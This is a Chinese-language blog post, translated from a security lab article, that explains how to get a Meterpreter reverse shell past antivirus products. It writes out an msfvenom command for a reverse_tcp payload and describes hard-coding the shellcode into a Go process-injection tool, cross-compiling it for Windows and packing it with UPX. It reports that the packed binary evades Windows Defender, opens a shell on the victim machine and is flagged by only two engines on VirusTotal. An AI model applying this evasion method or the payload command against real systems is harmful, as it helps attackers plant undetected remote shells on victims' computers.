使用Golang免杀Tips

时间:2022-07-25
本文章向大家介绍使用Golang免杀Tips,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

在此文章中,将详细介绍一个很酷的小技巧,它涉及如何绕过大多数防病毒产品以在目标主机上获得Metepreter反向shell.

这一切始于遇到用Golang编写的Github存储库时,该存储库在执行时会将shellcode注入正在运行的进程中.

https://github.com/brimstone/go-shellcode

通过简单地使用msfvenom生成有效负载,我们对其进行了测试,发现Windows Defender可以轻松检测到该有效负载.Meterpreter有效负载生成如下:

msfvenom -p Windows / x64 / meterpreter / reverse_tcp LHOST = xxxx LPORT = xxx -b  x00 -f hex

使用Go进行本实验的好处是,可以将其从Linux主机交叉编译为目标Windows主机.编译应用程序的命令是:

GOOS=windows GOARCH=amd64 go build

这将产生一个Go exe文件,该文件将在命令行中与攻击者想要注入的shellcode一起执行.

这很容易检测到,Windows Defender毫无困难地将其识别为Meterpreter.为了快速,轻松地绕过,我们尝试使用UPX暴力破解可执行文件,将其重复压缩8次.Windows Defender再次抓住了它,这里也没有运气.

尝试使用shellcode作为参数运行Go exe文件.

如常所愿,Windows Defender可以轻松检测到它.然后,我们尝试使用UPX压缩的sc.exe文件,该文件也无效.

当然,Windows Defender一旦检测到该进程,就会终止Meterpreter会话.

从这里,检查了Go程序的源代码.经过一番回顾,发现可以修改main.go源文件以将shellcode作为变量然后进行编译–而不是编译.exe,然后将shellcode作为命令行参数添加.

go-shellcode/cmd/sc/main.go source

修改后的

go-shellcode/cmd/sc/main.go source

其中对命令行参数的引用替换为已声明的变量.

使用这些文件,编译了两个.exe文件,其中一个要在不使用UPX压缩的情况下进行测试,而另一个要在UPX压缩的情况下进行测试.Windows Defender触摸到磁盘后,便会立即检测到非压缩版本,但不会通过静态分析检测到UPX压缩的.exe.

Windows Defender立即检测到没有UPX压缩的.exe包含Meterpreter有效负载.

但是,运行自定义UPX压缩的.exe文件成功,并且实现了反向Shell

成功运行UPX压缩的Go exe文件,并且在受害者的计算机上获得了反向外壳.

让我们针对VT运行它,以检查其免杀能力.

将UPX压缩的Go exe文件上传到Virus Total.只有Cybereason和Cylance将该文件检测为恶意文件.

只有两个防病毒引擎在该文件中发现有恶意负载,并且两个都没有指定上载到底是恶意的,只是它是恶意的.UPX压缩可能是触发警报的原因,因为UPX压缩可用于混淆恶意文件.

暴力模式下的UPX压缩将exe文件压缩8次.

原文翻译至

https://labs.jumpsec.com/2019/06/20/bypassing-antivirus-with-golang-gopher-it/

参考文章

https://github.com/brimstone/go-shellcode
https://boyter.org/posts/trimming-golang-binary-fat/
https://blog.filippo.io/shrink-your-go-binaries-with-this-one-weird-trick/

渗透测试 红队攻防 免杀 权限维持 等等技术 及时分享最新漏洞复现以及EXP 国内外最新技术分享!!!